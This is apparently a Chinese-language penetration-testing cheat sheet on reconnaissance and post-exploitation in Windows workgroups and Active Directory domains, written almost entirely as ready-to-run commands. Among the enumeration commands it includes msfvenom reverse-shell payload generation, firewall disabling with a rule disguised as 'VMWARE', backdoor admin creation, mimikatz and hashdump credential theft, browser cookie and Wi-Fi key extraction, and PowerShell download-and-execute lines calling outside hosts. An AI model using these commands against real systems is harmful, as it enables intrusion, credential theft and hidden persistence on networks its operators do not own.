工作组信息收集
用户信息
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | #查看本机用户列表net user
 
 #获取本地管理员信息
 net localgroup administrators
 
 #查看当前在线用户
 quser
 query user
 query user || qwinsta
 
 #查当前用户在目标系统中的具体权限
 whoami /all
 
 #查看当前权限
 whoami && whoami /priv
 
 #查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
 net localgroup
 
 | 
系统信息
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 
 | #查询网络配置信息。进行IP地址段信息收集ipconfig /all
 
 #查询操作系统及软件信息
 systeminfo /fo list
 systeminfo | findstr "主机名"
 systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
 
 #查看当前系统版本
 ver
 wmic os list brief
 wmic os get Caption,CSDVersion,OSArchitecture,Version
 
 #查看系统体系结构
 echo %PROCESSOR_ARCHITECTURE%
 
 #查询本机服务信息
 wmic service list brief
 
 #查看安装的软件的版本、路径等
 wmic product get name, versio
 
 powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
 
 #查询进程信息
 tasklist
 wmic process list brief
 
 #查看启动程序信息
 wmic startup get command,caption
 
 #查看计划任务
 at(win10之前)
 schtasks /query /fo LIST /v(win10)
 PS:如果遇到资源无法加载问题,则是由于当前活动页码所致:更改活动页码为437:chcp 437
 
 #查看主机开机时间
 net statistics workstation
 
 #列出或断开本地计算机与所连接的客户端的对话
 net session
 
 #查看本地可用凭据
 cmdkey /l
 
 #查看补丁列表
 wmic qfe get hotfixid
 systeminfo | findstr "KB"
 
 #查看补丁的名称、描述、ID、安装时间等
 wmic qfe get Caption,Description,HotFixID,InstalledOn
 
 #查看本地密码策略
 net accounts
 
 #查看hosts文件
 Windows:type c:\Windows\system32\drivers\etc\hosts
 
 #查看dns缓存
 ipconfig /displaydns
 
 | 
网络信息
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | #查看本机所有的tcp,udp端口连接及其对应的pidnetstat -ano
 
 #查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
 netstat -anob #管理员权限
 
 #查看路由表和arp缓存
 route print
 arp -a
 
 #查看本机共享列表和可访问的域共享列表 (445端口)
 net share
 wmic share get name,path,status
 
 #磁盘映射
 net use k: \\192.168.1.10\c$
 
 | 
防火墙信息
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | #查看防火墙配置(netsh命令也可以用作端口转发)netsh firewall show config
 
 #关闭防火墙(Windows Server 2003 以前的版本)
 netsh firewall set opmode disable
 
 #firewall命令已弃用,建议使用advfirewall命令
 #查看配置规则
 netsh advfirewall firewall show rule name=all
 
 #关闭防火墙\开启防火墙(Windows Server 2003 以后的版本)
 netsh advfirewall set allprofiles state off\on
 
 #导出\导入配置文件
 netsh advfirewall export\import xx.pol
 
 #新建规则阻止TCP协议139端口
 netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
 
 #新建规则允许3389通过防火墙
 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
 
 #删除名为Remote Desktop的规则
 netsh advfirewall firewall delete rule name=Remote Desktop
 
 | 
RDP远程桌面
| 12
 3
 4
 5
 6
 7
 8
 
 | #开启wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
 
 #关闭
 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
 
 #查询并开启RDP服务的端口,返回一个十六进制的端口
 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
 
 | 
获取杀软信息
| 1
 | WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
 | 
| 1
 | WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
 | 
| 12
 
 | tasklist /vwmic process list brief
 
 | 
| 进程 | 软件名称 | 
| 360SD.exe | 360杀毒 | 
| 360TRAY.exe | 360实时保护 | 
| HipsMain.exe | 火绒 | 
| ZHUDONGFANGYU.exe | 360s主动防御 | 
| KSAFETRAY.exe | 金山卫士 | 
| SAFEDOGUPDATECENTER.exe | 服务器安全狗 | 
| MCAFEE MCSHIELD.exe | MCAFEE | 
| EGULEXE | NoD32 | 
| AVP.exe | 卡巴斯基 | 
| AVGUARD.exe | 小红伞 | 
| BDAGENT.exe | BITDEFENDER | 
| QQPCRTP.exe | QQ电脑管家 | 
| hids | 主机防护类产品 | 
| hws* | 护卫神 | 
| yunsuo* | 云锁 | 
| D_Safe* | D盾 | 
代理信息
| 12
 3
 4
 
 | REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
 #通过pac文件自动代理情况
 REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
 
 | 
Wifi密码
| 12
 
 | netsh wlan show profilenetsh wlan show profile name="28023_5G" key=clear
 
 | 


一条命令获取连接过的wifi密码,企业认证的获取不到
| 1
 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
 | 
回收站信息
| 12
 3
 
 | FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\^>%c.txt
 目录路径在 C:\$Recycle.Bin
 
 | 
| 12
 
 | $I 开头的文件保存的是路径信息$R 开头的文件保存的是文件内容
 
 | 
Chorme浏览器信息
获取Chorme浏览器历史记录和Cookie,chrome的用户信息保存在本地,文件为 sqlite 数据库格式
路径:
| 12
 
 | %localappdata%\google\chrome\USERDA~1\default\LOGIND~1%localappdata%\google\chrome\USERDA~1\default\cookies
 
 | 
mimikatz获取内容:
| 12
 3
 
 | mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 
 | 
WMIC收集信息
wmic-info.bat
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | :: BIOS信息wmic BIOS list full /format:htable > wmic.html
 :: CPU信息
 wmic CPU list full /format:htable >> wmic.html
 :: 启动配置管理
 wmic BOOTCONFIG list full /format:htable >> wmic.html
 :: 系统环境管理
 wmic ENVIRONMENT list /format:htable >> wmic.html
 :: 系统帐户管理
 wmic SYSACCOUNT list full /format:htable >> wmic.html
 :: 共享资源管理
 wmic SHARE list full /format:htable >> wmic.html
 :: 进程
 wmic PROCESS get CSName,Description,ExecutablePath,ProcessId /format:htable >> wmic.html
 :: 服务
 wmic SERVICE get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:htable >> wmic.html
 :: 用户帐号
 wmic USERACCOUNT list full /format:htable >> wmic.html
 :: 用户组
 wmic GROUP list /format:htable >> wmic.html
 :: 网络接口
 wmic NICCONFIG where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:htable >> wmic.html
 :: 硬盘信息
 wmic VOLUME get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:htable >> wmic.html
 :: 网络共享信息
 wmic NETUSE list full /format:htable >> wmic.html
 :: 安装的Windows补丁
 wmic qfe get Caption,Description,HotFixID,InstalledOn /format:htable >> wmic.html
 :: 启动运行程序
 wmic STARTUP get Caption,Command,Location,User /format:htable >> wmic.html
 :: 安装的软件列表
 wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:htable >> wmic.html
 :: 操作系统
 wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,ServicePackMinorVersion,SystemDirectory /format:htable >> wmic.html
 :: 时区信息
 wmic Timezone get DaylightName,Description,StandardName /format:htable >> wmic.html
 
 | 
Powershell收集信息
https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1
| 12
 
 | #FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Get-Information.ps1');Get-Information
 
 | 
https://github.com/PowerShellMafia/PowerSploit
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | Get-NetDomain: 获取当前用户所在域的名称Get-NetUser: 获取所有用户的详细信息
 Get-NetDomainController: 获取所有域控制器的信息
 Get-NetComputer: 获取域内所有机器的详细信息
 Get-NetOU: 获取域中的OU信息
 Get-NetGroup: 获取所有域内组和组成员信息
 Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
 Get-NetShare: 获取当前域内所有网络共享信息
 Get-NetSession: 获取指定服务器的会话
 Get-NetRDPSession: 获取指定服务器的远程连接
 Get-NetProcess: 获取远程主机的进程
 Get-UserEvent: 获取指定用户的日志
 Get-ADObiect: 获取活动目录的对象
 Get-NetGPO: 获取域内所有的组策略对象
 Get-DomainPolicy: 获取域默认策略或域控制器策略
 Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
 Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
 Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
 
 | 
内网信息收集脚本
https://raw.githubusercontent.com/braeden/Batch-Infogather/master/Infogather.bat
域内信息收集
Net组件
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | #查询域net view /domain
 
 #查询域内的所有计算机
 net view /domain:kc
 
 #查询域内所有用户组(Enterprise Admins组权限最大)
 net group /domain
 
 #查看域管理员的用户组
 net group "domain admins" /domain
 
 #查询所有域成员计算机列表
 net group "domain computers" /domain
 
 #查询域系统管理员用户组
 net group "Enterprise admins" /domain
 
 #查看域控制器
 net group "domain controllers" /domain
 
 #对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配
 net config workstation
 
 #查看域内所有账号
 net user /domain
 
 #查询指定用户的详情信息
 net user xxx /domain
 
 #查看时间可以找到域控
 net time /domain
 
 #查看域密码策略
 net accounts /domain
 
 #查看当前登录域
 net config workstation
 
 #登录本机的域管理员
 net localgroup administrators /domain
 
 | 
Dsquery
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | #查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquerydsquery computer
 
 #查看当前域中的所有账户名
 dsquery user
 
 #查看当前域内的所有组名
 dsquery group
 
 #查看到当前域所在的网段,结合nbtscan使用
 dsquery subnet
 
 #查看域内所有的web站点
 dsquery site
 
 #查看当前域中的服务器(一般结果只有域控的主机名)
 dsquery server
 
 #查询前240个以admin开头的用户名
 dsquery user domainroot -name admin* -limit 240
 
 | 
Other
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | #查看域控制器的机器名nltest /DCLIST:KC
 
 #查看域内的主域控,仅限win2008及之后的系统
 netdom query pdc
 
 #查看域控主机名
 nslookup -type=srv _ldap._tcp
 
 #查看域内信任关系
 nltest /domain_trusts
 
 #查看域内邮件服务器
 nslookup -q=mx kc.local
 
 #查看域内DNS服务器
 nslookup -q=ns kc.local
 
 | 
定位域控
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | #ipconfigipconfig /all
 
 #查询dns解析记录
 nslookup -type=all _ldap._tcp.dc._msdcs.kc.local
 
 #spn扫描
 #在SPN扫描结果中可以通过如下内容,来进行域控的定位。
 setspn -q */*
 setspn -T kc.local -q */*
 
 #CN=DC,OU=Domain Controllers,DC=kc,DC=local
 
 #net group
 net group "domain controllers" /domain
 
 #端口识别
 端口:389
 服务:LDAP、ILS
 说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
 
 端口:53
 服务:Domain Name Server(DNS)
 说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
 
 | 
反弹shell
| 1
 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.227 lport=5555 -f exe -o xx.exe
 | 
将生成的payload发送给目标机器并让其执行
| 12
 3
 4
 5
 
 | Use exploit/multi/handlerSet payload windows/meterpreter/reverse_tcp
 Set LHOST 192.168.1.227
 Set LPOST 5555
 Exploit
 
 | 
返回Shell
关闭防火墙
| 12
 3
 
 | shell(或者execute -f cmd -i -H)netsh advfirewall set allprofiles state off
 netsh advfirewall show allprofiles
 
 | 
通过策略添加防火墙规则隐蔽行为:
| 12
 
 | netsh advfirewall set add rule name="VMWARE" protocol=TCP dir=in localport=5555 action=allownetsh firewall add portopening TCP 5555 "VMWARE" ENABLE ALL
 
 | 
重启生效:
打开并连接3389
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | #开启3389远程桌面run post/windows/manage/enable_rdp
 run getgui –e
 
 #可以利用该命令,在目标机器上添加用户
 run getgui –u admin –p admin
 net localgroup administrators admin /add
 
 #远程连接桌面
 rdesktop –u username –p password ip
 
 #查看远程桌面
 screenshot
 use espia
 screengrab
 screenshare
 
 #删除指定账号
 run post/windows/manage/delete_user USERNAME=admin
 
 | 
口令破解
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | use post/windows/gather/hashdump #system权限的meterpreterset session 1
 exploit #结果保存在tmp目录下
 
 use post/windows/gather/smart_hashdump
 set session 1
 exploit
 
 #格式
 用户名称 : RID : LM-HASH 值 : NT-HASH 值
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 
 | #Hashdump使用的是mimikatz的部分功能Load mimikatz
 
 #wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp
 mimikatz_command -h
 mimikatz_command -f a:: #查询有哪些模块
 mimikatz_command -f samdump::hashes
 mimikatz_command -f samdump::bootkey
 
 | 
Other
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | #确定目标主机是否是虚拟机:run checkvm
 
 #获取目标主机上的软件安装信息:
 run post/windows/gather/enum_applications
 
 #获取目标主机上最近访问过的文档、链接信息:
 run post/windows/gather/dumplinks
 
 #查看目标环境信息:
 run post/multi/gather/env
 
 #查看firefox中存储的账号密码:
 run post/multi/gather/firefox_creds
 
 #查看ssh账号密码的密文信息,证书信息:
 run post/multi/gather/ssh_creds
 
 #查看目标系统所有网络流量并且进行数据包记录:
 run packetrecorder -i 0 //-i 1指定记录数据包的网卡
 
 #读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码:
 run post/windows/gather/enum_ie
 #获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf4/loot/目录下
 
 | 
Winenum
| 12
 3
 
 | run winenum
 /root/.msf4/logs/scripts/winenum
 
 | 
主机发现
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | #模块位于源码路径的: modules/auxiliary/scanner/discovery/
 #主要有
 arp_sweep
 ipv6_mulitcast_ping
 ipv6_neighbor
 ipv6_neighbor_router_advertisement
 udp_probe
 udp_sweep
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | #arp_sweep 使用arp请求枚举本地局域网中的所有活跃主机#udp_sweep 通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。
 
 use auxiliary/scanner/discovery/arp_sweep
 set RHOSTS 10.10.10.0/24
 set THREADS 50
 run
 
 #设置好参数后输入run启动扫描器
 
 | 
端口扫描
| 12
 3
 4
 5
 6
 7
 
 | msf> search portscan
 auxiliary/scanner/protscan/ack #通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
 auxiliary/scanner/protscan/ftpbounce #通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
 auxiliary/scanner/portscan/syn #使用发送TCP SYN标志的方式探测开放端口
 auxiliary/scanner/protscan/tcp #通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
 auxiliary/scanner/protscan/xmas #一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
 
 | 
| 12
 3
 4
 5
 6
 7
 
 | #一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉
 #syn扫描器的使用
 use auxiliary/scanner/protscan/syn
 set RHOSTS 10.10.10.10/254
 set THREADS 20
 run
 
 | 
服务扫描
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | 确定开放端口后,对相应端口上所运行的服务信息进行挖掘
 在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以[service_name]_version和[service_name]_login命名
 [service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
 [service_name]_login 可对某种服务进行口令探测攻击
 
 在msf终端中可以输入:
 search name:_version
 
 查看所有可用的服务查点模块
 
 | 
内网主机存活探测
参考:https://www.cnblogs.com/-mo-/p/11908260.html
Netbios协议探测
IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名-——特指基于NetBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享
| 1
 | nmap -sU -T4 --script nbstat.nse -p137 10.10.10.0/24
 | 

| 12
 
 | msf扫描msf > use auxiliary/scanner/netbios/nbname
 
 | 
项目地址:http://www.unixwiz.net/tools/nbtscan.html
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。
| 12
 3
 
 | #Windowsnbtscan.exe –m 10.10.10.0/24
 nbtstat –n
 
 | 

| 12
 
 | #Linuxnbtscan -r 10.10.10.0/24
 
 | 
ICMP协议探测
它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
命令行直显:
| 1
 | for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
 | 
输出内容导出:
| 1
 | @for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
 | 
扫描一个C段下的存活主机
| 1
 | nmap -sn -PE -T4 192.168.0.0/24
 | 
| 12
 3
 
 | powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 445,135"
 powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135
 
 | 
UDP协议探测
UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。
NMAP扫描
| 1
 | nmap -sU –T4 -sV --max-retries 1 192.168.1.100 -p 500
 | 
| 12
 
 | msf > use auxiliary/scanner/discovery/udp_probemsf > use auxiliary/scanner/discovery/udp_sweep
 
 | 
Linux下推荐使用
| 1
 | unicornscan -mU 192.168.1.100
 | 
ARP协议探测
ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址
| 1
 | nmap -sn -PR 192.168.1.1/24
 | 
| 1
 | msf > use auxiliary/scanner/discovery/arp_sweep
 | 
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。
| 1
 | netdiscover -r 10.10.10.0/24 -i eth1
 | 
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/situational_awareness/network/Invoke-ARPScan.ps1
| 1
 | powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"
 | 
项目地址:https://linux.die.net/man/1/arp-scan
| 1
 | arp-scan -interface=eth1 --localnet
 | 
项目地址(非官方):https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
| 1
 | arp-scan.exe –t 10.10.10.0/24
 | 
SMB协议探测
| 1
 | nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.1.119
 | 
| 12
 
 | 默认为100线程:crackmapexec smb 10.10.10.0/24
 
 | 
| 1
 | Msf5 > use auxiliary/scanner/smb/smb_version
 | 
域内端口探测
https://raw.githubusercontent.com/samratashok/nishang/c3fdf5e5dfa8612d0a17636dbb096b04e987ab31/Scan/Invoke-PortScan.ps1
端口扫描,默认扫描常见端口,也可以用 -Port指定端口:
| 1
 | powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort
 | 
内网信息收集工具
Fscan
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能
项目地址:https://github.com/shadow1ng/fscan
简单用法
| 12
 
 | fscan.exe -h 192.168.1.1/24 (默认使用全部模块)fscan.exe -h 192.168.1.1/16 (B段扫描)
 
 | 
LadonGo
简介
LadonGO 4.2 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架,Windows/Linux/Mac内网渗透,使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010、SmbGhost,远程执行SSH/Winrm,密码爆破SMB/SSH/FTP/Mysql/Mssql/Oracle/Winrm/HttpBasic/Redis,端口扫描服务识别PortScan指纹识别/HttpBanner/HttpTitle/TcpBanner/Weblogic/Oxid多网卡主机,端口扫描服务识别PortScan。
下载地址: https://github.com/k8gege/LadonGo
使用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | #多协议探测存活主机 (IP、机器名、MAC地址、制造商)Ladon 192.168.1.8/24 OnlinePC
 
 #多协议识别操作系统 (IP、机器名、操作系统版本、开放服务)
 Ladon 192.168.1.8/24 OsScan
 
 #扫描存活主机
 Ladon 192.168.1.8/24 OnlineIP
 
 #ICMP扫描存活主机
 Ladon 192.168.1.8/24 Ping
 
 #扫描SMB漏洞MS17010 (IP、机器名、漏洞编号、操作系统版本)
 Ladon 192.168.1.8/24 MS17010
 
 #SMBGhost漏洞检测 CVE-2020-0796 (IP、机器名、漏洞编号、操作系统版本)
 Ladon 192.168.1.8/24 SMBGhost
 
 | 
Adfind
Adfind是一款在域环境下非常强大的信息搜集工具,允许用户在域环境下轻松搜集各种信息。
它提供了大量的选项,可以优化搜索并返回相关详细信息,是内网域渗透中的一款利器。
下载地址: http://www.joeware.net/freetools/tools/adfind/index.htm
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | #列出域控制器名称AdFind -sc dclist
 
 #查看域控版本
 AdFind -schema -s base objectversion
 
 #查询当前域中在线的计算机(所有属性)
 AdFind -sc computers_active
 
 #查询当前域中在线的计算机(只显示名称和操作系统)
 AdFind -sc computers_active name operatingSystem
 
 #查询当前域中所有计算机(所有属性)
 AdFind -f "objectcategory=computer"
 
 #查询当前域中所有计算机(只显示名称和操作系统)
 AdFind -f "objectcategory=computer" name operatingSystem
 
 #查询指定域(kc.local)中所有计算机(所有属性)
 Adfind -b dc=kc,dc=local -f "objectcategory=computer"
 
 #查询域内所有用户
 AdFind -users name
 
 #查询指定域(kc.local)内所有用户(所有属性)
 Adfind -b dc=kc,dc=local -f "objectcategory=user"
 
 #查询所有GPO信息
 AdFind -sc gpodmp
 
 #查看受保护AD域账户
 Adfind -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
 
 #查看域管账户
 AdFind -default -f "(&(|(&(objectCategory=person)(objectClass=user))(objectCategory=group))(adminCount=1))" -dn
 
 | 
BloodHound
安装
- 安装neo4j
- 下载BloodHound
https://github.com/BloodHoundAD/BloodHound/releases
启动
- 启动neo4j
| 12
 
 | neo4j startneo4j console
 
 | 

- 登录neo4j
访问:http://localhost:7474/browser/
默认账号密码:neo4j / neo4j
第一次登录成功后,会强制更改登录用户密码

- 启动BloodHound
| 1
 | ./BloodHound --no-sandbox
 | 

收集器
- 下载
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
- 编译
使用 Visual Studio 编译SharpHound项目时,需要安装对应版本的 .NETFramework
生成应用 - 开发包:编译程序下载开发人员工具包
运行应用 - 运行时:运行编译后的程序需要安装对应版本运行时
https://github.com/BloodHoundAD/SharpHound
收集器适用于 BloodHound v4.x.x,需要 .NETFramework,Version=v4.6.2 的引用程序集。
https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net462
https://github.com/BloodHoundAD/SharpHound3
收集器适用于 BloodHound v3.x.x,需要 .NETFramework,Version=v4.5.2 的引用程序集。
https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net452
https://github.com/BloodHoundAD/SharpHound2
收集器适用于 BloodHound v2.x.x,需要 .NETFramework,Version=v3.5 的引用程序集。
https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/thank-you/net35-sp1-web-installer
- 加载powershell
| 1
 | IEX (NEW-OBJECT net.webclient).downloadstring('http://192.168.81.154:8000/SharpHound.ps1');Invoke-BloodHound -c all
 | 
- 运行收集器
运行收集器程序后,在当前目录将生成包含所有数据的压缩包,把压缩包拖入BloodHound,即可筛选查看收集到的域相关信息